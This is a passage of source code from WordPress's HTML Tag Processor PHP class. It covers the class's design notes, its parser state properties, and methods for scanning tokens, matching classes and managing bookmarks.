 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
